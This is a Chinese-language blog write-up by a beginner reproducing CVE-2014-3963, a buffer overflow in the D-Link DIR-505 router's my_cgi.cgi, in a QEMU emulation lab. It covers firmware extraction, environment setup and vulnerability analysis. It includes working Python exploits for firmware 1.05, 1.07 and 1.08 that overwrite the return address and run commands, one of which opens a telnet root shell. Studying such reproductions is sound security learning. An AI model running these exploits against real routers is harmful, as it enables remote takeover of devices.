DIR 505 CVE-2014-3963越界溢出漏洞复现
0x01前言:
关于做这个DIR505越界漏洞分析和复现真是耗费了我大半个月的时候,算是有所小成,想着自己写个文章去记录一下。因为我是刚开始学习IOT这些,个人比较对路由器这样的设备感兴趣,所以先开始入手简单的溢出漏洞进行实验。写的可能有些啰嗦和简单,但我真真是小白鸽啊哈哈哈哈哈,希望各位表哥表姐海涵体谅。
实验工具:
KALI:使用qemu-mips-static 静态运行单个程序 (路由器的单个程序的模拟过程);或者利用system和user去模拟路由器。(因为Kali比较好上手,一直也没用ubuntu哈哈哈,工具小子无疑了)
Attify3:
使用FAT工具模拟整个路由器的运行过程。不必再使用qemu进行qemu-system模式去运行,过于麻烦还得需要配网络。(但是因为fat工具不是很友好而且好像不更新了,有些环境没法搭建成功,搭建不成功的环境还是需要使用qemu的。)在此多说下,我的问题是:因为我做的实验是dlink505比较老了,FAT很多能够搭建出来系统,但是web端进不去,我很头疼哈哈,希望有表哥遇到这种情况的可以告解我一下!拜谢!
IDA:
IDA的使用基本上是在windows上去进行操作的(因为我kali是64位的,ida是32位的,我的很多库装不了。所以没法进行反编译和端口检测gdb调试,借此后续再去进行修复库等,得以使用IDA);后续等修复好了以后我还会选择在kali上进行IDA操作不在windows物理机上去运行IDA。
以上纯纯都是我的肺腑之言啊,如果有在做实验和我有一样问题的可以交流交流。
综上,开始本次的实验,实在吐槽太多。不好意思。
模拟环境实况:
DIR–1.02(物理机)未成功;1.05成功;1.07成功;1.08成功
0x02 获取固件:
找了很久,这里得感谢大中午师傅,不吝赐教。https://tsd.dlink.com.tw/
(在这里我得说一嘴哈,里面dink固件很全,但是有些可能太老了有很多下载以后是0 K的。哈哈哈哈,有些找不到的大家还是多搜一搜)
0x03 环境搭建:
Binwalk,Qemu,IDA,gdb这些是必须要拥有的。你可以选择在ubuntu去安装,我在ubuntu去装binwalk的时候出现了各种各样的坑,所以我果断放弃。直接在kali里面实验。
1.Binwalk
工具很强大,要学会利用。-Me 解包不多说了。
但是使用kali会出现解包空包的结果,这个是因为kali装的binwalk并不是完全体,所以我们有俩种方法去解决。
1.1: 使用/opt/firmware-mod-kit/trunk/unsquashfs_all.sh 的脚本去解squashfs文件就可以出来。(这个有可能需要安装一下,如有安装即可)
1.2: 自己搭建一个binwalk的完整环境(可以在ubuntu去搭建,有很多文章),鄙人有幸搭建了一下子,我发现我出现了各种各样的问题,所以我果断放弃哈哈哈哈。我使用了attify,这个虚拟机里面工具挺全的,无需装直接起飞。(不愧是工具小子可以说是)
Attify在外网上下载太慢,我直接附上吧。
中午师傅的环境搭建:https://blog.csdn.net/wuyou1995/article/details/105545581
攻城狮师傅发的链接:(网盘下载)
https://blog.csdn.net/qq_38182842/article/details/120597919?utm_source=app&app_version=4.15.0&code=app_1562916241&uLinkId=usr1mkqgl919blen
2.Qemu
Qemu是一个虚拟机模式工具,理论上几乎可以模拟任何的硬件的设备。路由器也不例外。
Qemu分为俩种工作模式:system和user。
System模式 就和firmware-analysis-toolkit工具模拟真实路由器环境一个样子,说的可能有些笼统但是我感觉差不太多的样子,都是可以搭建一个模拟真实的环境。下载和运行啥的可以参考这位师傅写的。
https://blog.csdn.net/weixin_33460449/article/details/112697118
在这里写一下我遇到的问题,一定要下载对应的mips大端或者小端,然后里面有个很长很长的代码,不建议背,要用的话直接复制用就好了。而且一定要先看看busybox是啥样的。
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
user模式: 可以只允许里面的某一个程序,进而去做自己想要做的事情,比如只去利用某一个漏洞点,或者去进行IDA或者gdb去调试。(这里我也不是特别的明白,还是汇编,伪代码根本看不懂啊!)
本次实验都是利用qemu-mips-static的静态模式去模拟路由器,使用chroot 把此目录作为根目录去运行可执行的程序。这里真是卡了我很久很久,前面说的都是简单的,安装理解啥的,这个搭建真真卡了好久,最后看了一位师傅写的我感觉我真是豁然开朗!oneshell师傅,虽然我不认识人家哈,但是感觉人家tql,学习了学习了。
https://www.anquanke.com/post/id/261344
因为我之前用system模式已经搭建成功了,cp-r复制过来解包下来的文件,但是我运行不了它的启动程序,因为人家busybux不支持这些子个命令哈哈。(这里我感觉我有错误,不知道下一步该干什么,前面链接做华为HG532漏洞复现人家有启动的脚本啊,这个dir505我也没有找到文章什么的可以启动所以就大无语啊家人们。)
好了不说废话了,oneshell师傅写的环境搭建比我写的清晰明了多了,先分析启动的脚本./bin/rc.d/rcS.
下面就直接上图了吧。
# 进入固件根目录 chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 因为有些 像nvram没有被挂载,这个运行完就可以进去路由器网站了 chroot . ./usr/bin/system_manager
# 启动 lighttpd,-D 不进入后台运行 chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D
运行完以后就可以进入到页面了,但是oneshell师傅这边也说了,这个搭建的不完整,但是对于漏洞的利用不影响。运行此脚本之前需要把 qemu-mips-static 程序复制到根目录下,才能够执行chroot命令,还有就是DIR505有很多版本,每个版本的偏移量和参数都不相同。《揭秘家用路由器0day漏洞挖掘技术》里面的是1.08的后续我会给图。
3.IDA和GDB:
对于IDA和gdb我这玩的也不是很明白,我就不多叙述了。等后续我会和1.02一起出,先等等吧。Dir505分析的够久的了。
0x04固件漏洞分析:
虽然作为工具小子ida玩的不明白,但是也还是得去分析分析啊!汇编和二进制还有伪代码真的是太难顶了!
这里可以参考叫兽师傅的文章。很感谢。
https://blog.csdn.net/jdhellfire/article/details/121922271
一开始我就是跟着这篇文章去学习的,分析写的也很详细。这次的dir505的CVE-2014-3963在《揭秘家用路由器0day漏洞挖掘技术》第12章也有很详细的伪代码。
https://tearorca.github.io/D-Link-DIR-505%E4%BE%BF%E6%90%BA%E8%B7%AF%E7%94%B1%E5%99%A8%E8%B6%8A%E7%95%8C%E6%BC%8F%E6%B4%9E/
这位师傅伪代码分析的简直tql,简直汇编王者哈哈哈。
分析之前我想先说一下,本次漏洞虽然各个版本1.0-1.8都是因为get_input_entries 没有对传入的长度buf进行限制,所以导致用户在发送post报文时只要content_length超过buf的长度超过了一定限额就会发生缓冲区溢出。
1.05:
首先,经过看家用路由器书里可以知道漏洞存在于”my_cgi.cgi”的cgi脚本里,是比较特殊的数组越界访问造成的缓冲区溢出。文件在/usr/bin/下
IDA加载my_cgi.cgi文件
其次,在ID里寻找get_input_entries函数,书上给的get_input_entries 伪代码要比IDA反汇编清晰的多。如下图对比
如上:get_input_entries 入参 my_entries buf长度 为477456,故当POST数据长度content_length > 477456时有机会触发溢出。这只是1.05版本的,107.108每个版本的偏移量和溢出量也有些许差别。
1.07:
我就直接上图了,因为我在利用漏洞的时候发现各个版本有些许差别的。
按X追踪查看都是什么利用了system函数。
1.08:
1.02:
因为我买的物理机是1.02版本的,我在网上找了很久关于1.02的固件,都找不到。看看以后能不能找到吧。因为每个版本的偏移量都是不一样的,没有固件没法分析地址,所以我就很无语啊。早知道就不买真实机了哈哈,但是我现在感觉模拟的都可以成功,这个真实的也一定可以成功。因为现在也刚学,ida,gdb这些我还不太会用,打算先再学学再去搞一下这个1.02,如果后续能够成功,我还是会写后续,毕竟做事情得有始有终。
0x05漏洞利用
DIR505-1.05:
按照前面的环境搭建好以后直接poc就好了,但是注意要用storage_path命名文件,因为HTTP协议中content_length字段的长度在未经校验的情况下作为参数传递到get_input_entries,而get_input_entries函数同样在没有校验content_length的长度值的情况下将POST参数中类似“storage_path=xx”格式的数据格式化到大小为477xxx字节的缓冲区中,造成缓冲区溢出。
POC:
#coding=UTF-8
#!/usr/bin/env python
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)
url = "http://%s/my_cgi.cgi" % target
buf = "storage_path="
buf += "D" * 477464
buf += "\x00\x40\x52\x34" #覆盖返回地址ra寄存器
buf += "E" * 0x28
buf += command
buf += "\x00"
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
这里为啥有500,不是很清楚可能是因为环境搭建的不完整。
DIR505-1.07:
版本不同只不过是因为各个的偏移量不同。都是一样的溢出漏洞。
POC:
import requests
cmd = b'busybox telnetd -l /bin/sh\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://192.168.147.132:80/HNAP1/', data=poc)
print(res)
DIR505-1.08:
POC:
#coding=UTF-8
#!/usr/bin/env python
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)
url = "http://%s/my_cgi.cgi" % target
buf = "storage_path="
buf += "D" * 477472
buf += "\x00\x40\x5B\x1C" #覆盖返回地址ra寄存器
buf += "E" * 0x28
buf += command
buf += "\x00"
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
0x06 总结
纸上得来终觉浅,一旦你去尝试去做复现还是分析啥的,都会出现各种各样的问题和bug,但是希望可以一直保持思路清晰,思路和逻辑真的很重要。就像我刚开始做的时候遇到瓶颈也好,也很失望,但是一旦做出来以后,是很有成就的。
但是虽然模拟的都做出来了,但是我买的物理机1.02的没有获取到固件给我整的是大无语啊,没有固件就没有偏移量没法分析做poc,后续我还是得搞一搞,希望有大佬做过的可以给我一些建议。
但是我现在是初学者,这505年代确实有点久远了,基本上算是淘汰了,所以只需要知晓溢出漏洞的步骤和思路即可。
还有就是这个路由器物理机器我好像不用买哈,我直接搭建环境不好吗,hhhhhhhh。唯一有些遗憾的是没找到dir5051.02的固件,没办法获取到偏移量不好写poc去实验,一个一个试的话太麻烦了,以后再做吧还是,这个505分析的够久的了。以上,多谢各位的观看,确实写的比较简单和话太密了哈哈。
大佬如有打扰见谅,我只是想记录一下子,谢谢各位。
(本文章首发于安全客,发此只为技术分享和技术讨论,谢谢。)